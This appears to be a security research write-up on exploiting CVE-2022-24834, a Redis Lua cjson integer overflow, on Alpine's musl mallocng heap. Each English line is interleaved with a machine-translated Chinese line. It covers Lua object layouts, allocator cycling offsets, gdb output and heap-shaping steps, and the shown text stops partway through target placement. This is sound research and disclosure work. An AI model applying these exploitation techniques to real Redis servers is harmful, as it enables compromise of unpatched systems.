Pumping Iron on the Musl Heap – Real World CVE-2022-24834 Exploitation on an Alpine mallocng Heap

This post is about exploiting CVE-2022-24834 against a Redis
这篇文章是关于针对 Redis 利用 CVE-2022-24834

container running on Alpine
在 Alpine 上运行的容器

Linux
. CVE-2022-24834 is a vulnerability affecting the Lua cjson
。 CVE-2022-24834是影响Lua cjson的漏洞

module in Redis servers <=7.0.11. The bug is an integer overflow that
Redis 服务器 <=7.0.11 中的模块。该错误是整数溢出

leads to a large copy of data, approximately 350MiB.
会产生大量数据副本,大约 350MiB。

A colleague from NCC Group wanted to exploit this bug but found that
NCC Group 的一位同事想要利用这个漏洞,但发现

the public exploits didn’t work. This was ultimately due to those
公开的利用并没有奏效。这最终是由于那些

exploits being written to target Ubuntu or similar distros, which use
针对 Ubuntu 或类似发行版编写的漏洞利用程序,使用

the GNU libc library.
GNU libc 库。

The target in our case was Alpine 13.8, which uses musl libc 1.2.4. The important
我们案例中的目标是 Alpine 13.8,它使用 musl libc 1.2.4。重要的

distinction here is that GNU libc uses the ptmalloc2 heap allocator, and
这里的区别是 GNU libc 使用 ptmalloc2 堆分配器,并且

musl 1.2.4 uses its own custom allocator called mallocng. This resulted
musl 1.2.4 使用自己的自定义分配器,称为 mallocng。这导致了

in some interesting differences during exploitation, which I figured I
在利用过程中一些有趣的差异,我想我

would document since there’s not a lot of public information about
会记录下来,因为没有太多关于的公开信息

targeting the musl heap.
针对 musl 堆。

I highly recommend reading Ricerca Security’s original writeup,
我强烈推荐阅读 Ricerca Security 的原始文章,

which goes into depth about the vulnerability and how they approached
其中深入探讨了该漏洞以及他们的处理方式

exploitation on ptmalloc2. Conviso Lab’s has a README.md that
对 ptmalloc2 的利用。 Conviso Lab 的 README.md 包含

describes some improvements that they made, which is also worth a look.
描述了他们所做的一些改进,这也值得一看。

There are quite a few differences between exploitation on ptmalloc2 and
ptmalloc2 上的利用与

mallocng, which I’ll explain as I go. I’ll try not to repeat the details
mallocng,我会边解释边解释。我会尽量不重复细节

that previous research has already provided but rather focus on the
以前的研究已经提供了,但重点关注的是

parts that differed for mallocng.
mallocng 的不同部分。

Finally, I want to note that I am not attacking the musl mallocng
最后,我想指出的是,我并不是在攻击 musl mallocng

allocator by corrupting its metadata, but rather I’m doing Lua-specific
分配器通过破坏它的元数据,而是我正在做 Lua 特定的

exploitation on the mallocng heap, mimicking the strategy done by the
对 mallocng 堆的利用,模仿了

original exploit.  原始利用。

Lua 5.1 路亚5.1

As the previous articles covered Lua internals in detail, I won’t
由于之前的文章详细介绍了 Lua 内部原理,所以我不会

repeat that information here. Redis uses Lua 5.1, so it’s important to
在此重复该信息。 Redis 使用 Lua 5.1,因此重要的是

refer to the specific version when reading, as Lua has undergone
阅读时请参考具体版本,因为Lua已经经历过

significant changes across different releases. These changes include
不同版本之间的重大变化。这些变化包括

structure layouts and the garbage collection algorithm utilized.
结构布局和所使用的垃圾收集算法。

I would like to highlight that Lua utilizes Tagged Values to
我想强调的是 Lua 利用标记值来

represent various internal types such as numbers and tables. The
表示各种内部类型,例如数字和表格。这

structure is defined as follows:
结构体定义如下:

/*
** Tagged Values
*/

#define TValuefields                                                           \
    Value value;                                                               \
    int   tt

typedef struct lua_TValue {
    TValuefields;
} TValue;

In this structure, tt denotes the type, and
在此结构中, tt 表示类型,并且

value can either be an inline value or a pointer depending
value 可以是内联值或指针,具体取决于

on the associated type. In Lua, a Table serves as the
在关联类型上。在 Lua 中, Table 充当

primary storage type, akin to a dictionary or list in Python. It
主存储类型,类似于 Python 中的字典或列表。它

contains an array of TValue structures. For simple types
包含 TValue 结构的数组。对于简单类型

like integers, value is used directly. However, for more
与整数一样, value 直接使用。然而,为了更多

complex types like nested tables, value acts as a pointer.
复杂类型如嵌套表, value 充当指针。

For further implementation details, please refer to Lua’s
进一步的实现细节可以参考Lua的

lobject.h file or the aforementioned articles.
lobject.h 文件或前述文章。

During debugging, I discovered the need to inspect Lua 5.1 objects.
在调试过程中,我发现需要检查 Lua 5.1 对象。

The Alpine redis-server target did not include symbols for
Alpine redis-server 目标不包含以下符号

the static Lua library. To address this, I compiled my own version of
静态Lua库。为了解决这个问题,我编译了自己的版本

Lua and filtered out all function symbols to only access the structure
Lua并过滤掉所有函数符号以仅访问结构体

definitions easily. This was achieved by identifying and stripping out
轻松定义。这是通过识别和剥离来实现的

all FUNC symbols using readelf -Ws and
所有使用 readelf -Ws 的 FUNC 符号和

objcopy --strip-symbol.

Additionally, I came across the GdbLuaExtension,
另外,我遇​​到了 GdbLuaExtension,

which offers pretty printers and other functionalities for analyzing Lua
它提供了漂亮的打印机和其他用于分析 Lua 的功能

objects, albeit supporting version 5.3 only. I made some minor
对象,尽管仅支持版本 5.3。我做了一些小事

modifications  修改
 to enable its compatibility with Lua 5.1. These
以使其与 Lua 5.1 兼容。这些

changes enabled features like pretty printers for tables, although I
更改启用了诸如漂亮的表格打印机之类的功能,尽管我

didn’t conduct exhaustive testing on the required functionalities.
没有对所需的功能进行详尽的测试。

This method provides a clearer analysis of objects like a
此方法可以更清晰地分析对象,例如

Table, presenting information in a more readable format
Table ,以更易读的格式呈现信息

compared to a hexdump.
与十六进制转储相比。

(gdb) p/x *(Table *) 0x7ffff7a05100
$2 = <lua_table> = {
  [1] = (TValue *) 0x7fffaf9ef620 <lua_table^> 0x7ffff4a76322,
  [2] = (TValue *) 0x7fffaf9ef630 <lua_table^> 0x7ffff7a051a0,
  [3] = (TValue *) 0x7fffaf9ef640 <lua_table^> 0x7ffff7a051f0,
  [4] = (TValue *) 0x7fffaf9ef650 <lua_table^> 0x7ffff7a05290,
  [5] = (TValue *) 0x7fffaf9ef660 <lua_table^> 0x7ffff7a052e0,

The Table we printed shows an array of
我们打印的 Table 显示了一个数组

TValue structures, and we can see that each
TValue 结构,我们可以看到每个

TValue in our table is referencing another table.
我们的表中的 TValue 引用了另一个表。

Musl’s Next
Generation Allocator – aka mallocng
Musl 的下一代分配器 – 又名 mallocng

On August 4, 2020, 2020年8月4日,
musl 1.2.1 shipped a new heap algorithm called “mallocng”. This
musl 1.2.1 发布了一个名为“mallocng”的新堆算法。这

allocator has received some good quality research in the past,
分配器过去接受过一些高质量的研究,

predominantly focused on CTF challenge exploitation. I didn’t find any
主要关注 CTF 挑战利用。我没有找到任何

real-world exploitation examples, but if someone knows of some, please
现实世界的利用示例,但如果有人知道一些,请

let me know and I’ll update the article.
请告诉我,我会更新这篇文章。

The mallocng allocator is slab-based and organizes fixed-sized
mallocng 分配器是基于slab 的,并组织固定大小的

allocations (called slots) on multi-page slabs (called
多页平板(称为

groups). In general, groups are mmap()-backed.
组)。一般来说,组是由 mmap() 支持的。

However, groups containing small slots may actually be less than a size
然而,包含小槽的组实际上可能小于一个大小

of a page, in which case the group is actually just a larger fixed-sized
页面的,在这种情况下,组实际上只是一个更大的固定大小

slot on a larger group. The allocator not using brk() is an
important detail as we will see later. The fixed size for a given group
is referred to as the group’s stride.

The mallocng allocator seems to be designed with security in mind,
mixing a combination of in-band metadata that contains some cookies,
with predominantly out-of-band metadata which is stored in slots on
dedicated group mappings that are prefixed with guard pages to prevent
corruption from linear overflows.

As I’m not actually going to be exploiting the allocator internals
itself, I won’t go into too much detail about the data structures. I
advise you to read pre-existing articles, which you can find in the
resource section.

There’s a useful gdb plugin called muslheap developed by
xf1les, which I made a lot of use of. xf1les also has an associated blog
post
 which is worth reading. At the time of writing, I have a PR open to add
this functionality to pwndbg, and hopefully will have time add some more
functionality to it afterwards.

There is one particularly interesting aspect of the allocator that I
want to go over, which is that it can adjust the starting offset of
slots inside a group across subsequent allocations, using a value it
calls the cycling offset. It only does so if the overhead of a given
slot inside the fixed size has a large enough remainder such that the
offset can be adjusted. Interestingly, in this case, because the slot we
are working in is the 0x50-stride group, and the Table
structure is 0x48 bytes, this cycling offset doesn’t apply. Since I
narrowly avoided having to deal with this, and originally thought I
would have to, I’ll still take a moment to explain what the mitigation
actually is for and what it looks like in practice.

mallocng Cycling Offset

The cycling offset is a technique used to mitigate double frees,
although it can have a negative effect on other exploitation scenarios
as well. It works by adjusting the offset of the user data part of an
allocation each time a chunk is used, wrapping back to the beginning
once the offset is larger than the slack space. The offset starts at 1
and increments each time the chunk is reused.

The idea behind mitigating a double free is that if a chunk is used
and then freed, and then re-used, the offset used for the second
allocation will not be the same as the first time, due to cycling. Then,
when it is double freed, that free will detect some in-band metadata
anomaly and fail.

The allocator goes about this offset cycling by abusing the fact that
groups have fixed-sized slots, and often the user data being allocated
will not fill up the entire space of the slot, resulting in some slack
space. If the remaining slack space in the slot is large enough, which
is calculated by subtracting both the size of the user data and the
required in-line metadata, then there are actually two in-line metadata
blocks used inside a slot. One contains an offset used to indicate the
actual start of the user data, and that user data will still have some
metadata prefixed before it.

The offset calculation is done in the enframe()
function in mallocng. Basically, each time a slot is allocated, the
offset is increased, and will wrap back around when it exceeds the size
of the slack.

To demonstrate what the cycling offset looks like in practice, I will
focus on larger-than-Table stride groups, that have enough
slack such that the cycling offset will be used. If we review what the
stride sizes are, we see:

sizeclass stride sizeclass stride sizeclass stride sizeclass stride
1 0x20 13 0x140 25 0xaa0 37 0x5540
2 0x30 14 0x190 26 0xcc0 38 0x6650
3 0x40 15 0x1f0 27 0xff0 39 0x7ff0
4 0x50 16 0x240 28 0x1240 40 0x9240
5 0x60 17 0x2a0 29 0x1540 41 0xaaa0
6 0x70 18 0x320 30 0x1990 42 0xccc0
7 0x80 19 0x3f0 31 0x1ff0 43 0xfff0
8 0x90 20 0x480 32 0x2480 44 0x12480
9 0xa0 21 0x540 33 0x2aa0 45 0x15540
10 0xc0 22 0x660 34 0x3320 46 0x19980
11 0xf0 23 0x7f0 35 0x3ff0 47 0x1fff0

Using a cycling offset requires an additional 4-byte in-band header
使用循环偏移需要额外的 4 字节带内标头

and also increases by UNIT-sized (16-byte) increments. As
并且还会以 UNIT 大小(16 字节)的增量增加。作为

such, I think it’s unlikely for strides <= 0xf0 to have the cycling
这样,我认为步幅 <= 0xf0 不太可能有循环

offset applied (though I haven’t tested each). There might be some
应用了偏移量(尽管我还没有测试每个)。可能有一些

exceptions, like if sometimes smaller allocations are placed into larger
例外情况,例如有时较小的分配被放入较大的分配中

strides rather than always allocating a new group, but I’m not sure if
大步前进而不是总是分配一个新组,但我不确定是否

that’s possible as I haven’t spent enough time studying the allocator
这是可能的,因为我没有花足够的时间研究分配器

yet.  然而。

In light of this understanding, for the sake of demonstrating when
根据这种理解,为了证明何时

cycling offsets are used, we’ll look at the 0x140 stride. I allocate a
使用循环偏移量,我们将查看 0x140 步幅。我分配一个

few tables, fill their arrays such that the resulting sizes are ~0x100
几个表,填充它们的数组,使得结果大小约为 0x100

bytes.  字节。

I use Lua to leak the address of an outer table. Then in gdb I
我使用 Lua 来泄漏外表的地址。然后在gdb中我

analyze the array of all the tables it references, which should be of
分析它引用的所有表的数组,应该是

increasing size. Let’s look at the first inner table’s array first:
增加尺寸。我们先看第一个内表的数组:

pwndbg> p/x *(Table *)  0x7ffff7a945b0
$2 = <lua_table> = {
  [1] = (TValue *) 0x7ffff7a99880 <lua_table^> 0x7ffff7a94740,
  [2] = (TValue *) 0x7ffff7a99890 <lua_table^> 0x7ffff7a93d80,
  [3] = (TValue *) 0x7ffff7a998a0 <lua_table^> 0x7ffff7a93e70,
  [4] = (TValue *) 0x7ffff7a998b0 <lua_table^> 0x7ffff7a95040,
  [5] = (TValue *) 0x7ffff7a998c0 <lua_table^> 0x7ffff7a950e0,
...
pwndbg> p/x ((Table *)  0x7ffff7a94740)->array
$4 = 0x7ffff7a94e40
pwndbg> mchunkinfo 0x7ffff7a94e40
============== IN-BAND META ==============
        INDEX : 2
     RESERVED : 5 (Use reserved in slot end)
     OVERFLOW : 0
    OFFSET_16 : 0x29 (group --> 0x7ffff7a94ba0)

================= GROUP ================== (at 0x7ffff7a94ba0)
         meta : 0x555555a69040
   active_idx : 2

================== META ================== (at 0x555555a69040)
         prev : 0x0
         next : 0x0
          mem : 0x7ffff7a94ba0
     last_idx : 2
   avail_mask : 0x0 (0b0)
   freed_mask : 0x0 (0b0)
  area->check : 0x8bbd98bb29552bcc
    sizeclass : 13 (stride: 0x140)
       maplen : 0
     freeable : 1

Group allocation method : another groups slot

Slot status map: [U]UU (from slot 2 to slot 0)
 (U: Inuse / A: Available / F: Freed)

Result of nontrivial_free() : queue (active[13])

================== SLOT ================== (at 0x7ffff7a94e30)
      cycling offset : 0x1 (userdata --> 0x7ffff7a94e40)
        nominal size : 0x100
       reserved size : 0x2c
OVERFLOW (user data) : 0
OVERFLOW  (reserved) : 0
OVERFLOW (next slot) : 0

The first chunk we see under the == SLOT == head has a
我们在 == SLOT == 头下看到的第一个块有一个

cycling offset of 1. We can see that the slot itself starts at
循环偏移量为 1。我们可以看到槽本身开始于

0x7ffff7a94e30, but the user data does not start at the same address,
0x7ffff7a94e30,但用户数据不是从同一地址开始,

but rather 0x10-bytes further. This is due to the cycling offset *
而是进一步的 0x10 字节。这是由于循环偏移*

UNIT adjustment. If we quickly look at a Table
UNIT 调整。如果我们快速查看 Table

(stride 0x50) slot, which is of a size that doesn’t allow enough slack
(stride 0x50) 插槽,其尺寸不允许有足够的松弛

to use a cycling offset, we can see the difference:
使用循环偏移,我们可以看到差异:

pwndbg> mchunkinfo 0x7ffff7a94740
============== IN-BAND META ==============
        INDEX : 11
     RESERVED : 4
     OVERFLOW : 0
    OFFSET_16 : 0x37 (group --> 0x7ffff7a943c0)

================= GROUP ================== (at 0x7ffff7a943c0)
         meta : 0x555555a68ea0
   active_idx : 11

================== META ================== (at 0x555555a68ea0)
         prev : 0x555555a686f8
         next : 0x555555a68d38
          mem : 0x7ffff7a943c0
     last_idx :
   avail_mask : 0x0   (0b00000000000)
   freed_mask : 0x5ac (0b10110101100)
  area->check : 0x8bbd98bb29552bcc
    sizeclass : 4 (stride: 0x50)
       maplen : 0
     freeable : 1

Group allocation method : another groups slot

Slot status map: [U]FUFFUFUFFUU (from slot 11 to slot 0)
 (U: Inuse / A: Available / F: Freed)

Result of nontrivial_free() : Do nothing

================== SLOT ================== (at 0x7ffff7a94740)
      cycling offset : 0x0 (userdata --> 0x7ffff7a94740)
        nominal size : 0x48
       reserved size : 0x4
OVERFLOW (user data) : 0
OVERFLOW (next slot) : 0

Above, we see the SLOT section indicates a cycling
上面,我们看到 SLOT 部分表示循环

offset of 0. This will hold true for all Table allocations
偏移量为 0。这对于所有 Table 分配都适用

in a stride 0x50 group. In this case, the user data starts at the same
在步幅 0x50 组中。在这种情况下,用户数据从相同的位置开始

location as the slot.
位置作为插槽。

So now let’s look at the second stride 0x140 group’s slot that we
现在让我们看看第二步 0x140 组的插槽

allocated earlier:  较早分配:

pwndbg> p/x ((Table *)  0x7ffff7a93d80)->array
$4 = 0x7ffff7a96ca0
pwndbg> mchunkinfo 0x7ffff7a96ca0
============== IN-BAND META ==============
        INDEX : 1
     RESERVED : 5 (Use reserved in slot end)
     OVERFLOW : 0
    OFFSET_16 : 0x17 (group --> 0x7ffff7a96b20)

================= GROUP ================== (at 0x7ffff7a96b20)
         meta : 0x555555a690e0
   active_idx : 2

================== META ================== (at 0x555555a690e0)
         prev : 0x0
         next : 0x0
          mem : 0x7ffff7a96b20
     last_idx : 2
   avail_mask : 0x0 (0b0)
   freed_mask : 0x0 (0b0)
  area->check : 0x8bbd98bb29552bcc
    sizeclass : 13 (stride: 0x140)
       maplen : 0
     freeable : 1

Group allocation method : another groups slot

Slot status map: U[U]U (from slot 2 to slot 0)
 (U: Inuse / A: Available / F: Freed)

Result of nontrivial_free() : queue (active[13])

================== SLOT ================== (at 0x7ffff7a96c70)
      cycling offset : 0x3 (userdata --> 0x7ffff7a96ca0)
        nominal size : 0x100
       reserved size : 0xc
OVERFLOW (user data) : 0
OVERFLOW  (reserved) : 0
OVERFLOW (next slot) : 0

This second array has a cycling offset of 3, so it starts 0x30 bytes
第二个数组的循环偏移量为 3,因此它从 0x30 字节开始

further than the start of the slot. Clearly, this slot has been used a
比槽的起点更远。显然,该插槽已被使用

few times already.  已经好几次了。

The main takeaways here are:
这里的主要要点是:

  • For certain allocation sizes, the exact offset of an overflow may be
    对于某些分配大小,溢出的确切偏移量可能是

    unreliable unless you know exactly how many times the slot has been
    除非您确切知道该插槽已被使用了多少次,否则不可靠

    allocated.  分配。
  • For a scenario like overwriting the LSB of a pointer inside of such
    对于像覆盖此类内部指针的 LSB 之类的情况

    a group, you could be unable to predict where the resulting pointer will
    一个组,您可能无法预测结果指针将在哪里

    point inside of another slot, depending on whether you know how many
    指向另一个槽的内部,取决于你是否知道有多少个

    times each slot has been used.
    每个插槽已被使用的次数。

Considering all this in the context of the exploit this article
在本文的漏洞利用背景下考虑所有这些

describes, I think that because we have fine-grained control over all
描述,我认为因为我们对所有内容都有细粒度的控制

the allocations performed for our overflow, this mitigation wouldn’t
为我们的溢出执行的分配,这种缓解措施不会

have stopped us. Even if the structures had been on a ‘stride’ group
阻止了我们。即使这些结构处于“跨步”组中

that uses the cycling offsets, because we can easily control the number
使用循环偏移量,因为我们可以轻松控制数量

of times the slots are actually used prior to overflow. That said, since
溢出之前槽实际使用​​的次数。也就是说,自从

I originally thought it might be a problem and wanted to understand it,
我原本以为这可能是一个问题,想了解一下,

hopefully the explanation was still interesting.
希望这个解释仍然有趣。

With that out of the way, let’s look into how to exploit
解决了这个问题,让我们看看如何利用

CVE-2022-24834 on the musl heap.
musl 堆上的 CVE-2022-24834。

Exploiting
CVE-2022-24834 on the mallocng heap
在 mallocng 堆上利用 CVE-2022-24834

To quickly recap the vulnerability, it’s an integer overflow when
为了快速回顾一下这个漏洞,它是一个整数溢出,当

calculating the size of a buffer to allocate while doing cjson encoding.
计算进行 cjson 编码时分配的缓冲区大小。

By triggering the overflow, we end up with an undersized buffer that we
通过触发溢出,我们最终会得到一个尺寸过小的缓冲区

can write 0x15555555 bytes to (341 MiB), which may be large enough to
可以将 0x15555555 字节写入 (341 MiB),这可能足够大

qualify as a “wild copy,” although on a 64-bit target and the amount of
尽管是在 64 位目标上并且

memory on modern systems, it’s not too hard to deal with. Exploitation
现代系统上的内存,处理起来并不太难。开发

requires that the target buffer that we want to corrupt must be adjacent
要求我们想要破坏的目标缓冲区必须是相邻的

to the overflown buffer with no unmapped gaps in between, so at a
到溢出的缓冲区,其间没有未映射的间隙,因此在

minimum around 350 MiB.
最小大约 350 MiB。

While exploiting ptmalloc2, Ricerca Security solved this problem by
在利用 ptmalloc2 时,Ricerca Security 通过以下方式解决了这个问题

extending the heap, which is brk()-based, to ensure that
扩展基于 brk() 的堆,以确保

enough space exists. Once the extension occurs, it won’t be shrunk
存在足够的空间。一旦发生扩展,就不会再缩小

backward. This makes it easy to ensure no unmapped memory regions exist,
落后。这使得很容易确保不存在未映射的内存区域,

and that the 0x15555555-byte copy won’t hit any invalid memory.
并且 0x15555555 字节的副本不会命中任何无效内存。

This adjacent memory requirement poses some different problems on the
这种相邻的内存要求带来了一些不同的问题

mallocng heap, which I’ll explain shortly.
mallocng 堆,我稍后会解释。

After achieving the desired layout, the goal is to overwrite some
实现所需的布局后,目标是覆盖一些

target chunk (or slot in our case) with the 0x22 value corresponding to
目标块(或在我们的例子中为槽),其 0x22 值对应于

the ending double quote. In the Ricerca Security write-up, their
结尾的双引号。在 Ricerca Security 的文章中,他们

diagrams indicated they overwrote the LSB pointer of a
图表表明他们覆盖了一个的LSB指针

Table->array pointer; however, I believe their exploit
Table->array 指针;然而,我相信他们的利用

actually overwrites the LSB of a TValue->value pointer,
实际上覆盖了 TValue->value 指针的 LSB,

which exists in a chunk that is pointed to by the
它存在于由指向的块中

Table->array. I may misunderstand their exploit, but at
Table->array 。我可能会误解他们的利用,但在

any rate, the latter is the approach I used.
无论如何,后者是我使用的方法。

To summarize, the goal of the heap shaping is ultimately to ensure
that the allocation associated with a table’s array, which is pointed to
by Table->array, is adjacent to the buffer we overflow
so that we corrupt the TValue.

mallocng Heap Shaping

mallocng requires a different strategy than ptmalloc2, as it does not
use brk(). Rather, it will use mmap() to
allocate groups (below I will assume that the group itself is not a slot
of another group) and populate those groups with various fixed-size
slots. Freeing the group, which may occur if all of the slots in a group
are no longer used, results in memory backing the group to be unmapped
using munmap().

This means we must leverage feng shui to have valid in-use
这意味着我们必须利用风水才能有效使用

allocations adjacent to each other at the time of the overflow. While
溢出时彼此相邻的分配。尽管

doing this, in order to analyze gaps in the memory space, I wrote a
这样做,为了分析内存空间中的间隙,我写了一个

small gdb utility which I’ll use to show the layout that we are working
我将用它来显示我们正在工作的布局的小型 gdb 实用程序

with. A slightly modified version of this utility has also now been
和。该实用程序的稍微修改版本现已发布

added to pwndbg.  添加到pwndbg。

First, let’s look at what happens if we trigger the bug and allow the
copy to happen, without first shaping the heap. Note this first example
is showing the entire memory space to give an idea of what it looks
like, but in future output, I will limit what’s shown to more relevant
mappings.

The annotations added to to the mapping output are as follows:

  • ^-- ADJ: <num> indicates a series of adjacent
    memory regions, where <num> is the accumulated
    size
  • !!! GUARD PAGE indicates a series of pages with no
    permissions, which writing to would trigger a fault
  • [00....0] -- GAP: <num> indicates an unmapped
    page between mapped regions of memory, where <num> is
    the size of the gap
   0: 0x555555554000 - 0x5555555bf000    0x6b000 r--p
   2: 0x5555555bf000 - 0x555555751000   0x192000 r-xp
   3: 0x555555751000 - 0x5555557d3000    0x82000 r--p
   4: 0x5555557d3000 - 0x5555557da000     0x7000 r--p
   5: 0x5555557da000 - 0x555555833000    0x59000 rw-p
   6: 0x555555833000 - 0x555555a66000   0x233000 rw-p ^-- ADJ: 0x512000
   7: 0x555555a66000 - 0x555555a67000     0x1000 ---p !!! GUARD PAGE
   7: 0x555555a67000 - 0x555555af7000    0x90000 rw-p
      [0000000000000000000000000000000000000000000000 ]-- GAP: 0x2aaa2ed09000
   9: 0x7fff84800000 - 0x7fff99d84000 0x15584000 rw-p
      [0000000000000000000000000000000000000000000000 ]-- GAP: 0x7c000
  10: 0x7fff99e00000 - 0x7fffa48c3000  0xaac3000 rw-p
      [0000000000000000000000000000000000000000000000 ]-- GAP: 0xab3d000
  11: 0x7fffaf400000 - 0x7fffcf401000 0x20001000 rw-p
      [0000000000000000000000000000000000000000000000 ]-- GAP: 0x24348000
  12: 0x7ffff3749000 - 0x7ffff470a000   0xfc1000 rw-p
      [0000000000000000000000000000000000000000000000 ]-- GAP: 0xd000
  13: 0x7ffff4717000 - 0x7ffff4c01000   0x4ea000 rw-p
      [0000000000000000000000000000000000000000000000 ]-- GAP: 0x1000
  14: 0x7ffff4c02000 - 0x7ffff4e00000   0x1fe000 rw-p
  15: 0x7ffff4e00000 - 0x7ffff5201000   0x401000 rw-p
  16: 0x7ffff5201000 - 0x7ffff5c00000   0x9ff000 rw-p
  17: 0x7ffff5c00000 - 0x7ffff5e01000   0x201000 rw-p
  18: 0x7ffff5e01000 - 0x7ffff6000000   0x1ff000 rw-p ^-- ADJ: 0x13fe000
  19: 0x7ffff6000000 - 0x7ffff6002000     0x2000 ---p !!! GUARD PAGE
  19: 0x7ffff6002000 - 0x7ffff6404000   0x402000 rw-p
  21: 0x7ffff6404000 - 0x7ffff6600000   0x1fc000 rw-p ^-- ADJ: 0x5fe000
  22: 0x7ffff6600000 - 0x7ffff6602000     0x2000 ---p !!! GUARD PAGE
  22: 0x7ffff6602000 - 0x7ffff6a04000   0x402000 rw-p
  24: 0x7ffff6a04000 - 0x7ffff6a6e000    0x6a000 rw-p
  25: 0x7ffff6a6e000 - 0x7ffff6c00000   0x192000 rw-p ^-- ADJ: 0x5fe000
  26: 0x7ffff6c00000 - 0x7ffff6c02000     0x2000 ---p !!! GUARD PAGE
  26: 0x7ffff6c02000 - 0x7ffff7004000   0x402000 rw-p
  28: 0x7ffff7004000 - 0x7ffff7062000    0x5e000 rw-p
  29: 0x7ffff7062000 - 0x7ffff715c000    0xfa000 rw-p
  30: 0x7ffff715c000 - 0x7ffff71ce000    0x72000 rw-p
  31: 0x7ffff71ce000 - 0x7ffff7200000    0x32000 rw-p
  32: 0x7ffff7200000 - 0x7ffff7a00000   0x800000 rw-p
  33: 0x7ffff7a00000 - 0x7ffff7a6f000    0x6f000 rw-p ^-- ADJ: 0xe6d000
  34: 0x7ffff7a6f000 - 0x7ffff7a71000     0x2000 ---p !!! GUARD PAGE
  34: 0x7ffff7a71000 - 0x7ffff7ac5000    0x54000 rw-p
  36: 0x7ffff7ac5000 - 0x7ffff7b0e000    0x49000 r--p
  37: 0x7ffff7b0e000 - 0x7ffff7dab000   0x29d000 r-xp
  38: 0x7ffff7dab000 - 0x7ffff7e79000    0xce000 r--p
  39: 0x7ffff7e79000 - 0x7ffff7ed2000    0x59000 r--p
  40: 0x7ffff7ed2000 - 0x7ffff7ed5000     0x3000 rw-p
  41: 0x7ffff7ed5000 - 0x7ffff7ed8000     0x3000 rw-p
  42: 0x7ffff7ed8000 - 0x7ffff7ee9000    0x11000 r--p
  43: 0x7ffff7ee9000 - 0x7ffff7f33000    0x4a000 r-xp
  44: 0x7ffff7f33000 - 0x7ffff7f50000    0x1d000 r--p
  45: 0x7ffff7f50000 - 0x7ffff7f5a000     0xa000 r--p
  46: 0x7ffff7f5a000 - 0x7ffff7f5e000     0x4000 rw-p
  47: 0x7ffff7f5e000 - 0x7ffff7f62000     0x4000 r--p
  48: 0x7ffff7f62000 - 0x7ffff7f64000     0x2000 r-xp
  49: 0x7ffff7f64000 - 0x7ffff7f78000    0x14000 r--p
  50: 0x7ffff7f78000 - 0x7ffff7fc4000    0x4c000 r-xp
  51: 0x7ffff7fc4000 - 0x7ffff7ffa000    0x36000 r--p
  52: 0x7ffff7ffa000 - 0x7ffff7ffb000     0x1000 r--p
  53: 0x7ffff7ffb000 - 0x7ffff7ffc000     0x1000 rw-p
  54: 0x7ffff7ffc000 - 0x7ffff7fff000     0x3000 rw-p ^-- ADJ: 0x58e000
      [0000000000000000000000000000000000000000000000 ]-- GAP: 0x7fdf000
  55: 0x7ffffffde000 - 0x7ffffffff000    0x21000 rw-p
      [0000000000000000000000000000000000000000000000 ]-- GAP: 0xffff7fffff601000
  56: 0xffffffffff600000 - 0xffffffffff601000     0x1000 --xp

When we crash we see:
当我们崩溃时我们会看到:

Thread 1 "redis-server" received signal SIGSEGV, Segmentation fault.
0x00005555556cd676 in json_append_string ()
(gdb) x/i $pc
=> 0x5555556cd676 <json_append_string+166>:     mov    %al,(%rcx,%rdx,1)
(gdb) info registers rcx rdx
rcx            0x7ffff3749010      140737277890576
rdx            0x14b7ff0           21725168
(gdb) x/x $rcx+$rdx
0x7ffff4c01000: Cannot access memory at address 0x7ffff4c01000

Our destination buffer (the buffer being copied to) was allocated at
0x7ffff3749010 (index 12), and after 0xfc1000 bytes, it
quickly writes into unmapped memory, which correlates to what we just
saw in the gap listing:

  12: 0x7ffff3749000 - 0x7ffff470a000   0xfc1000 rw-p
      [0000000000000000000000000000000000000000000000 ]-- GAP: 0xd000

In this particular case, even if this gap didn’t exist, because we
didn’t shape the heap, we will inevitably run into a guard page and fail
anyway.

Similarly to the original exploit, shaping the heap to fill these
gaps is quite easy by just allocating lots of tables that point to
unique strings or large arrays of floating-point values. During this
process, it’s also useful to pre-allocate lots of other tables that are
used for different purposes, as well as anything else that may otherwise
create unwanted side effects on our well-groomed heap.

Ensuring Correct
Target Table->Array Distance

After solving the previous issue, the next problem is that even if we
解决了上一个问题后,下一个问题是,即使我们

fill the gaps, we have to be careful where our target buffer (the one we
填补空白,我们必须小心我们的目标缓冲区(我们的目标缓冲区)

want to corrupt) ends up being allocated. We need to take into account
想要腐败)最终被分配。我们需要考虑到

that the large allocations for the source buffer (the one we copy our
源缓冲区的大量分配(我们复制的那个)

controlled data from) might also be mapped at lower addresses in memory
来自的受控数据也可能映射到内存中的较低地址

than the target buffer, which might not be ideal. From the large gap map
比目标缓冲区,这可能并不理想。从大间隙图来看

listing above, we can see some large allocations at index 9 and 11,
在上面的列表中,我们可以看到索引 9 和 11 处有一些较大的分配,

which are related to generating a string large enough for the source
这与生成一个足够大的字符串有关源

buffer to actually trigger the integer overflow.
buffer 来实际触发整数溢出。

   9: 0x7fff84800000 - 0x7fff99d84000 0x15584000 rw-p
      [0000000000000000000000000000000000000000000000 ]-- GAP: 0x7c000
  10: 0x7fff99e00000 - 0x7fffa48c3000  0xaac3000 rw-p
      [0000000000000000000000000000000000000000000000 ]-- GAP: 0xab3d000
  11: 0x7fffaf400000 - 0x7fffcf401000 0x20001000 rw-p

Both the 9 and 11 mappings are roughly as big or larger than the
9 和 11 映射都大致与

amount of memory that will actually be writing during our overflow, so
在溢出期间实际写入的内存量,所以

if our cjson buffer ends up being mapped before one of these maps, the
如果我们的 cjson 缓冲区最终在这些映射之一之前被映射,则

overflow will finish inside of the large string map and thus be useless.
溢出将在大字符串映射内部完成,因此毫无用处。

Although in the case above our destination buffer (index 12) was
尽管在上面的情况下我们的目标缓冲区(索引 12)是

allocated later in memory than 9 and 11 and so won’t overflow into them,
在内存中分配的时间晚于 9 和 11,因此不会溢出到它们中,

in practice after doing heap shaping to fill all the gaps, this won’t
在实践中,在进行堆整形以填补所有空白之后,这不会

necessarily be the case.
必然如此。

This is an example of what that non-ideal scenario might look
like:

To resolve this, we must first shape the heap so that the target slot
we want to corrupt is actually mapped with an address lower than the
large mappings used for the source string. In this way, we can ensure
that our destination buffer ends up being directly before the target,
with only the exact amount of distance we need in between. To ensure
that our target slot gets allocated where we want, it needs to be large
enough to be in a single-slot group.

In order to ensure that our target buffer slot’s group gets allocated
为了确保我们的目标缓冲区槽组得到分配

after the aforementioned large strings, we can abuse the fact that we
在前面提到的大字符串之后,我们可以滥用这样一个事实:

can leak table addresses using Lua. By knowing the approximate size of
